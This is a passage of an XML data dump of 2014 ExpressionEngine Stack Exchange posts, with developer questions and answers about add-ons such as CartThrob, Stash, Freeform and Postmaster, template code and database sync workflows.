&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Peter T&lt;/p&gt;&#xA;" OwnerUserId="1469" LastEditorUserId="1469" LastEditDate="2014-09-17T14:34:36.653" LastActivityDate="2016-04-21T09:41:17.223" Title="Freeform Pro - add required checkbox field to edit form" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25731" PostTypeId="2" ParentId="25682" CreationDate="2014-09-17T14:28:36.397" Score="1" Body="&lt;p&gt;You need to upgrade to Matrix 2.5.10. According to the &lt;a href=&quot;https://docs.pixelandtonic.com/matrix/changelog.html&quot; rel=&quot;nofollow&quot;&gt;release notes for that version&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fixed a PHP error that would prevent File cells from saving properly.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-09-17T14:28:36.397" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25734" PostTypeId="1" CreationDate="2014-09-17T15:37:37.340" Score="0" ViewCount="67" Body="&lt;p&gt;I am using the flat rates shipping plugin in cartthrob. I need to add a description for the shipping product, so I managed to get this far: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added the following in cartthrob_shipping_flat_rates.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            array(&#xA;                'name' =&amp;gt; 'shipping_product_description',&#xA;                'short_name' =&amp;gt; 'product_description',&#xA;                'type' =&amp;gt; 'text'&#xA;            ),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code added the fields I need to input a description to each shipping product i.e.(arrives within 7-14 days, arrives within 3 days etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/1348309/shipping.png&quot; rel=&quot;nofollow&quot;&gt;https://dl.dropboxusercontent.com/u/1348309/shipping.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, how do I make use of that content. In my template tags I am using the following: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3&amp;gt;{rate_title} Shipping&amp;lt;/h3&amp;gt;&#xA;&amp;lt;h5&amp;gt;{product_description}&amp;lt;/h5&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this is outputting this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;USPS Priority Shipping&#xA;{product_description}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/1348309/shipping-template.png&quot; rel=&quot;nofollow&quot;&gt;https://dl.dropboxusercontent.com/u/1348309/shipping-template.png&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3259" LastActivityDate="2016-05-20T10:52:29.397" Title="how to print shipping options in cartthrob" Tags="|cartthrob|shipping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25735" PostTypeId="2" ParentId="22070" CreationDate="2014-09-17T17:41:21.767" Score="1" Body="&lt;p&gt;Maybe a little bit of javascript/jquery to do it on the client-side :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;(1) jQuery Move / direct the stuff into the correct tab.&lt;/strong&gt;&lt;br&gt;&#xA;First set a default &amp;lt;li&amp;gt; for each tab with a not-found message,&lt;br&gt;&#xA;this can be replaced or removed after the result is set.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// all items&#xA;{chan:entries}&#xA;&amp;lt;li class=&quot;item {channel_short_name}&quot;&amp;gt;text&amp;lt;/li&amp;gt;&#xA;&#xA;// jQuery&#xA;$(&quot;#list .shortname1&quot;).appendTo('#tab_x');&#xA;$(&quot;#list .shortname2&quot;).appendTo('#tab_y');&#xA;// if count $(tab_x) &amp;gt; 1 then remove $(tab_x .notice)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;(2) jQuery Show/hide items&lt;/strong&gt;&lt;br&gt;&#xA;Since it's a tab (link or button), you could also just use them as pseudo-tabs, and not move the items at all. e.g. keep the full list below the tabs and use a bit of jQuery to show/hide the items.&lt;br&gt;&#xA;Something like &lt;code&gt;$(#tab1).click(hide(not-shortname1))&lt;/code&gt;.&lt;br&gt;&#xA;This also gives you the option of a tab with &lt;code&gt;show_all()&lt;/code&gt;.&lt;br&gt;&#xA;(just some thoughts).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And indeed, stash set_list is a good server-side option.&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditDate="2014-10-16T16:05:14.213" LastActivityDate="2014-10-16T16:05:14.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25736" PostTypeId="2" ParentId="25727" CreationDate="2014-09-17T18:37:04.133" Score="2" Body="&lt;p&gt;This is a known bug, with a fix: &lt;a href=&quot;https://support.ellislab.com/bugs/detail/20529/msm-site-switching-not-working-for-non-superadmin&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/20529/msm-site-switching-not-working-for-non-superadmin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-09-17T18:37:04.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25737" PostTypeId="2" ParentId="25696" CreationDate="2014-09-17T18:43:12.847" Score="0" Body="&lt;p&gt;I just got an email from cartthrob support; they offered a solution: embeds.  All the following code is from them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In reports/.order_date I put:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;{exp:channel:entries channel=&quot;orders&quot; entry_id=&quot;{embed:entry_id}&quot; limit=&quot;1&quot;}&#xA;{entry_date format=&quot;%Y-%m-%d&quot;}&#xA;{/exp:channel:entries}&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;THen I changed the relevant line in my report to say&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;{embed=&quot;reports/.order_date&quot; entry_id=&quot;{order_id}&quot;}&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inside the embed, the loops and other data from the main template don't exist; all I can see are the globals (like &lt;code&gt;exp&lt;/code&gt;) and the parameters I pass in (&lt;code&gt;order_id&lt;/code&gt;).  Thus, using a quasi-loop within won't break anything, and I don't have to worry about anything shadowing my variables.&lt;/p&gt;&#xA;" OwnerUserId="3586" LastActivityDate="2014-09-17T18:43:12.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25738" PostTypeId="1" CreationDate="2014-09-17T18:46:41.383" Score="1" ViewCount="62" Body="&lt;p&gt;I'm working in EE v2.9.0 and Postmaster 1.5.0. Every time I save a parcel or a hook, I get the same error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Error&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page you requested was not found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The information saves, however, I need to go all the way back to the Postmaster home page to get back into the entry. Otherwise it creates a duplicate entry. Any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/aizbnmz20hs2z4m/Screenshot%202014-09-17%2014.46.19.png?dl=0&quot; rel=&quot;nofollow&quot;&gt;Screenshot of error&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1128" LastActivityDate="2015-10-09T23:29:58.797" Title="Error on Postmaster Parcel or Hook save" Tags="|error|hook|postmaster|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25739" PostTypeId="1" AcceptedAnswerId="25998" CreationDate="2014-09-17T19:26:04.273" Score="0" ViewCount="103" Body="&lt;p&gt;New to Stash and here is what I'm trying to accomplish.  But so far, no such luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two templates - manage-social-media.html and .layout-account.html&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Manage-social-media.html&#xA;Here I am gathering all of my content to pass to the layout-account template.  I am using Zoo Visitor, and I have a custom field for “Permissions” (cf_member_firm_permissions) that I’d like to check to see if they can edit their content, or view only.  So the custom field (Fieldpack - Dropdown) looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... : Select One&#xA;read-only : Read Only&#xA;editor : Editor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do is test that variable to see what it is, then set some stash variables accordingly.  Mainly, if they are read-only, I’d like to do the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set Stash variable for:  “Read Only Message” - To tell them why they are unable to edit, and who they can contact.&#xA;Set Stash variable for:  “Disalbe form” - I was thinking that I would just add the stash variable (i.e. “disable” to the form fields so they could read them but not edit.  Any other suggestions?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I got the value for {cf_member_firm_permissions} by doing the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_visitor:details} &#xA;    {cf_member_firm_permissions}&#xA;{/exp:zoo_visitor:details} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From there, I can’t get it to work.  I’ve tried wrapping the above in a “stash”, wrapping the above around a “stash”, using a switchee statement to test the value of {cf_member_firm_permissions}, using a switchee statement to test the value of stash:user_permissions (after I’ve set it).  I can’t get anything to do what I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, all of the above is set within a stash variable “main_content” which is pulled into the layout template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is some of the code that I've tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_visitor:details}&#xA;    {exp:switchee variable=&quot;{cf_member_firm_permissions}&quot; parse=&quot;inward&quot;}&#xA;        {case value=&quot;read-only&quot;}&#xA;        &amp;lt;h3&amp;gt;Hello Reader Permissions&amp;lt;/h3&amp;gt;&#xA;        {exp:stash:set name=&quot;permissions&quot;} disabled{/exp:stash:set}&#xA;&#xA;        {/case}&#xA;&#xA;        {case value=&quot;editor&quot;}&#xA;        &amp;lt;h3&amp;gt;Hello Editor Permissions&amp;lt;/h3&amp;gt;&#xA;        {/case}&#xA;    {/exp:switchee}&#xA;{/exp:zoo_visitor:details}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It displays &quot;Hello Reader Permissions&quot;, but won't display anything else.&lt;/p&gt;&#xA;" OwnerUserId="284" LastEditorUserId="284" LastEditDate="2014-09-20T23:57:56.657" LastActivityDate="2014-10-02T04:43:35.610" Title="Stash, Conditionals, and a Custom Field" Tags="|stash|conditionals|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="25740" PostTypeId="2" ParentId="25298" CreationDate="2014-09-17T19:30:40.960" Score="1" Body="&lt;p&gt;You can do it with jQuery. You'll just need to know the id of the field you are pre-populating.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   {if segment_1 == &quot;foo&quot;}&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    $(function () {&#xA;      $('#ddform_21').val(&quot;Value 1&quot;);&#xA;      $('#ddform_46').val(&quot;Value 2&quot;);&#xA;      $('#ddform_87').val(&quot;Value 3&quot;);&#xA;    });&#xA;    &amp;lt;/script&amp;gt;&#xA;    {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2743" LastActivityDate="2014-09-17T19:30:40.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25741" PostTypeId="1" CreationDate="2014-09-18T03:05:03.617" Score="1" ViewCount="29" Body="&lt;p&gt;Running an EE 1.7.3 site that has FieldFrame installed. Everything works fine locally, but when I upload the site to GoDaddy's shared hosting (cPanel), the site goes WSoD. Tried updating to the latest available version of FieldFrame and haven't had any luck. Is there perhaps a server setting or something I'm missing?&lt;/p&gt;&#xA;" OwnerUserId="3590" LastActivityDate="2014-09-18T03:05:03.617" Title="FieldFrame Causing White Screen of Death" Tags="|pixelandtonic|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25742" PostTypeId="1" CreationDate="2014-09-18T06:58:41.397" Score="3" ViewCount="204" Body="&lt;p&gt;We have a very large EE installtion for one of our clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our server set up / workflow is Local &gt;&gt; Staging &gt;&gt; LIve&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We need to carry out some work for the client. So we pull the database and files down from live. We make the changes and then we push the database and templates from staging back up to live.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HOWEVER in doing this, if the client has added anything else to live while we were working on staging, this is lost when we push the database and templates back up and overwritten with our version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What work flows do people have for getting round this? &lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2014-09-24T12:26:10.200" Title="Keeping Expression Engine DB's In Sync" Tags="|database|sync|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25743" PostTypeId="1" CreationDate="2014-09-18T07:39:09.823" Score="0" ViewCount="270" Body="&lt;p&gt;We have Export Entries by code but We don't know format OF CSV how to store grid information in CSV FILE. also any one have idea for Export channel entries with grid information then let me know .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Zeal PD&lt;/p&gt;&#xA;" OwnerUserId="3110" LastActivityDate="2015-04-18T00:25:30.233" Title="How To Export channel entries with Grid information" Tags="|channel-entries|grid|export|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25745" PostTypeId="2" ParentId="25742" CreationDate="2014-09-18T09:50:22.400" Score="2" Body="&lt;p&gt;I typically make database changes on the live site and then copy that from live to live to staging/local and then do templates/css/js work before pushing it back to staging/live.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has worked well for me. The only way that I would see it not working is if the database changes that needed to be made would affect the live site on the front end. But typically creating new fields/channels will not affect the live site until the template changes are made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is absolutely crucial you could request a content freeze from the client while doing your work.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2014-09-18T09:50:22.400" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25746" PostTypeId="1" CreationDate="2014-09-18T10:13:37.957" Score="1" ViewCount="28" Body="&lt;p&gt;I have an issue with Norwegian characters in FreeForm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In both my received mail and receipt mail the characters å æ ø don't translate, they are just jumbled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ive tried everything but nothing helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Paul&lt;/p&gt;&#xA;" OwnerUserId="249" LastActivityDate="2014-09-18T10:13:37.957" Title="Solspace FreeForm and special characters" Tags="|solspace-freeform|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25747" PostTypeId="2" ParentId="19582" CreationDate="2014-09-18T11:15:46.347" Score="0" Body="&lt;p&gt;I'm pretty sure there is an option to add a div in a wygwam field (check in the module settings, you may need to enable it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that option, add your images, highlight them, and add the wrapping div/s.&#xA;You're also given a dialog box to give the div(s) attributes, like class and ID, etc.&#xA;I noticed swiper is like most slideshows in its set up:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;wrapper&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;slide&quot;&amp;gt; &amp;lt;img src=&quot;img/image1.png&quot;&amp;gt; &amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;slide&quot;&amp;gt; &amp;lt;img src=&quot;img/image2.png&quot;&amp;gt; &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- /.wrapper --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- /.container --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Doing this with Wygwam can be a little fiddly but it should be possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also the option to add a 'Source' button to edit the html directly.&#xA;You can also get pretty advance with Wygwam and create your own formatting buttons, but that's a bit much to go in to here...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Agreed, if this is something you plan to use often in a pre determined space, a grid field would be a better option.&lt;/p&gt;&#xA;" OwnerUserId="3592" LastActivityDate="2014-09-18T11:15:46.347" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25748" PostTypeId="2" ParentId="25734" CreationDate="2014-09-18T11:52:28.160" Score="0" Body="&lt;p&gt;You'd need to return this extra information back to the template through a tag. Creating the new settings array as you have done will only store the information against your plugin, not automatically return it to the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't tested this, but here's what I &lt;em&gt;think&lt;/em&gt; you'd need to add to the plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;code&gt;initialize()&lt;/code&gt; function, around line 59 you should see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;rate_titles[$rate['short_name']] = $rate['title'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;product_description[$rate['short_name']] = $rate['product_description'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should then be able to create a new tag variable in the &lt;code&gt;plugin_shipping_options()&lt;/code&gt; function towards the end of the plugin.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function plugin_shipping_options()&#xA;{&#xA;    $options = array();&#xA;&#xA;    foreach ($this-&amp;gt;rates as $rate_short_name =&amp;gt; $price)&#xA;    {&#xA;        $options[] = array(&#xA;            'rate_short_name' =&amp;gt; $rate_short_name,&#xA;            'price' =&amp;gt; $price,&#xA;            'rate_price' =&amp;gt; $price,&#xA;            'rate_title' =&amp;gt; $this-&amp;gt;rate_titles[$rate_short_name],&#xA;            'product_description' =&amp;gt; $this-&amp;gt;rate_titles[$product_description]&#xA;        );&#xA;    }&#xA;&#xA;    return $options;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should then have access to the tag &lt;code&gt;{product_description}&lt;/code&gt; in your template. As I said, not tested this so can't be sure it would work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I'd recommend changing your tag to something like &lt;code&gt;shipping_rate_description&lt;/code&gt; to avoid any potential confusion with any channel entries tags that might be of a similar name.&lt;/p&gt;&#xA;" OwnerUserId="1287" LastEditorUserId="1287" LastEditDate="2014-09-18T16:35:18.470" LastActivityDate="2014-09-18T16:35:18.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25750" PostTypeId="2" ParentId="25742" CreationDate="2014-09-18T12:42:20.283" Score="0" Body="&lt;p&gt;One option we have discussed is for example..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;07:55-08:00 - Content team freeze working. Dev team pulls down database to staging&lt;br/&gt;&#xA;08:00-15:00 - Dev team exclusively works on the staging site&lt;br/&gt;&#xA;15:00-15:05 - Dev team push up to production&lt;br/&gt;&#xA;15:00-08:00 - Content inputers enter content on production as they please till the following morning&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2014-09-18T12:42:20.283" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25752" PostTypeId="1" AcceptedAnswerId="25779" CreationDate="2014-09-18T14:08:42.763" Score="1" ViewCount="89" Body="&lt;p&gt;Does anyone know of an add-on that offers the same functionality of Title Master but which is compatible with EE 2.9?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you aren't familiar with Title Master I need something that will auto populate entry titles with an incremental value, prefixed by the value of another field (in this case an entry-id from a relationship field). This also needs to happen on the front end via a Channel Form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Big ask, but it was working perfectly with Title Master until I updated the site.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-09-18T14:44:14.303" LastActivityDate="2014-10-20T09:29:55.873" Title="Seeking an alternative to Title Master that is compatible with 2.9" Tags="|safecracker|title-master|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25754" PostTypeId="1" AcceptedAnswerId="25973" CreationDate="2014-09-18T15:18:53.327" Score="0" ViewCount="76" Body="&lt;p&gt;I am using postmaster 1.5.0 on 2.9.0 EE and with a hook installed at the end of a store purchase, and I want to trigger an email. But....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I submit the order via store, I get the following errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: array_merge(): Argument #2 is not an array&#xA;Filename: libraries/Postmaster_base_api.php&#xA;Line Number: 184&#xA;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Invalid argument supplied for foreach()&#xA;Filename: drivers/Channel_data_utility.php&#xA;Line Number: 37&#xA;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Cannot modify header information - headers already sent by (output started at /public_html/admin/codeigniter/system/core/Exceptions.php:170)&#xA;Filename: libraries/Functions.php&#xA;Line Number: 446 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas what might be causing this, or is there a bug in the hooks postmaster version with EE?&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2014-10-01T07:22:37.760" Title="Postmaster Hook Errors" Tags="|postmaster|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25755" PostTypeId="1" CreationDate="2014-09-18T17:07:42.213" Score="2" ViewCount="189" Body="&lt;p&gt;I have built a custom payment gateway for worldpay corporate, as expresso store only comes with worldpay business.The user journey works without fault. The user click through from step to step, gets diverted off site to worldpay, completes their payment and then is diverted back based on the &lt;code&gt;getReturnUrl()&lt;/code&gt;. I then handle the response using the stores payment classes and methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue I have is that worldpay send a notification of this order, independant from the user journey, in the form of &lt;code&gt;xml&lt;/code&gt; to a predefined URL within my worldpay account settings. This URL is used in case the user loses connection or in case the payment is pending and they need to send another notification when complete. Please note that this is not treated in the same manner a an automatic response url (which is dynamically created thus having a valid hash to act upon.). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My question&lt;/strong&gt; -&lt;br&gt;&#xA;Is there any functionality built into the current store payment omnipay classes to deal with this?&lt;br&gt;&#xA;&lt;strong&gt;or&lt;/strong&gt;&lt;br&gt;&#xA;Do I write/use the script I currently have that is not EE based. If so where would be the best place to store this script and point to it via worldpay, taking into consideration it needs to be able to update the expresso store orders database tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="3593" LastEditorUserId="7185" LastEditDate="2017-02-14T15:58:23.033" LastActivityDate="2017-02-14T15:58:23.033" Title="Expresso Store Custom Payment Gateway" Tags="|expresso-store|expresso|payment-gateway|omnipay|worldpay|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25756" PostTypeId="2" ParentId="5293" CreationDate="2014-09-18T18:33:56.747" Score="0" Body="&lt;p&gt;The &lt;a href=&quot;http://devot-ee.com/add-ons/dandy-cat&quot; rel=&quot;nofollow&quot;&gt;Dandy Cat&lt;/a&gt; module does exactly what you're looking for.&lt;/p&gt;&#xA;" OwnerUserId="3594" LastActivityDate="2014-09-18T18:33:56.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25757" PostTypeId="2" ParentId="25715" CreationDate="2014-09-18T19:23:47.390" Score="0" Body="&lt;p&gt;If this is using ExpressionEngine 2.9 then you can file a bug report using HackerOne:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://hackerone.com/expressionengine&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://hackerone.com/expressionengine&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, upgrade to the latest version as there were some security fixes included in the 2.9.0 release:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/about/changelog.html#version-2-9-0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ellislab.com/expressionengine/user-guide/about/changelog.html#version-2-9-0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, in practice it is difficult to actually exploit an XSS vulnerability through cookies, as the attacker would need to manipulate the user's cookies (which would require another vulnerability).  See this question on SSE for more info about it &lt;a href=&quot;https://security.stackexchange.com/questions/36172/is-cookie-based-xss-exploitable&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3595" LastEditorUserId="-1" LastEditDate="2017-03-17T13:21:41.903" LastActivityDate="2014-09-18T19:23:47.390" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25758" PostTypeId="1" AcceptedAnswerId="25830" CreationDate="2014-09-18T19:30:44.330" Score="0" ViewCount="41" Body="&lt;p&gt;I am using SuperSearch with &quot;Use Smart Excerpts?&quot; set to &quot;Yes&quot;, and a Matrix field with &quot;Is field searchable?&quot; set to &quot;Yes&quot;. My search results contain pages with matrix field content as expected. However, the contents of the Matrix fields do not appear in the {excerpt} output. Is there a way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks!&lt;/p&gt;&#xA;" OwnerUserId="1890" LastActivityDate="2014-09-23T19:42:39.597" Title="Can SuperSearch use Matrix fields in {excerpt}?" Tags="|matrix|supersearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25759" PostTypeId="1" CreationDate="2014-09-18T21:47:47.910" Score="1" ViewCount="75" Body="&lt;p&gt;I am having a bit of trouble getting a search results page to display if the template used for results is being supplied via a template route.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My template faq-search is accessed via /resources/faq/search/results&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to search I get an invalid action warning.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form result_page=&quot;resources/faq/search/result&quot; no_result_page=&quot;resources/faq/search/no-result&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I use the following without a template route it works fine.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form result_page=&quot;resources/faq-search&quot; no_result_page=&quot;resources/faq/search/no-result&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this an intended feature or a bug?&lt;/p&gt;&#xA;" OwnerUserId="2304" LastActivityDate="2015-01-05T20:59:15.980" Title="Search module not working when using a template route to display the results page" Tags="|search|template-routes|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25760" PostTypeId="1" AcceptedAnswerId="25761" CreationDate="2014-09-18T21:54:02.900" Score="0" ViewCount="90" Body="&lt;p&gt;Is it possible to change the base url on Freeform paginate links as it is with channel entries?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/pagination.html#paginate-base&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/templates/pagination.html#paginate-base&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a page that loads some Freeform entries via ajax and I need the links to point to the main page rather than the ajax one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't seem to see it mentioned in the Freeform docs. At the moment I'm using jQuery to dynamically change the links, but it'd be nice to be able to specify it in the tag variables instead.&lt;/p&gt;&#xA;" OwnerUserId="2982" LastActivityDate="2014-09-19T00:56:44.577" Title="Changing base url of Freeform paginate links" Tags="|solspace-freeform|solspace|pagination|jquery|ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25761" PostTypeId="2" ParentId="25760" CreationDate="2014-09-19T00:56:44.577" Score="0" Body="&lt;p&gt;As of Freeform 4.1.8, it doesn't support changing the paginate base, but we will add it in as a feature request.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-09-19T00:56:44.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
